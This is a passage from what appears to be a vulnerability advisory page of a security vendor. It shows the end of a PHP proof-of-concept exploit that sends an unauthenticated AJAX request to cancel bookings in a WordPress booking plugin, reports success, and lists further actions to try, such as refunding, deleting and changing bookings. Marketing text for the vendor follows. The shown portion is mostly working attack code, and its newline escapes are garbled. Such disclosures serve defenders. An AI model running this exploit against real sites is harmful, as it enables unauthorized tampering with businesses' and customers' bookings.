    'Accept-Encoding: gzip, deflate',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest',
    'Connection: close'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
    
    // Analyze response for success indicators
    if (strpos($response, '"status":"success"') !== false) {
        echo "[+] SUCCESS: Unauthenticated booking cancellation executed!n";
        echo "[+] Vulnerability confirmed - privilege escalation possible.n";
    } elseif (strpos($response, 'nonce') !== false) {
        echo "[-] Nonce validation failed. Need valid nonce for exploitation.n";
        echo "[!] Note: The vulnerability exists, but nonce must be obtained or bypassed.n";
    } else {
        echo "[?] Unknown response. Check if plugin is installed and vulnerable.n";
    }
}

curl_close($ch);

// Additional exploitation vectors
echo "nOther vulnerable AJAX actions to test:n";
echo "- bookactiRefundBookingsn";
echo "- bookactiChangeBookingsStatusn";
echo "- bookactiChangeBookingsQuantityn";
echo "- bookactiSendBookingsNotificationn";
echo "- bookactiDeleteBookingsn";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School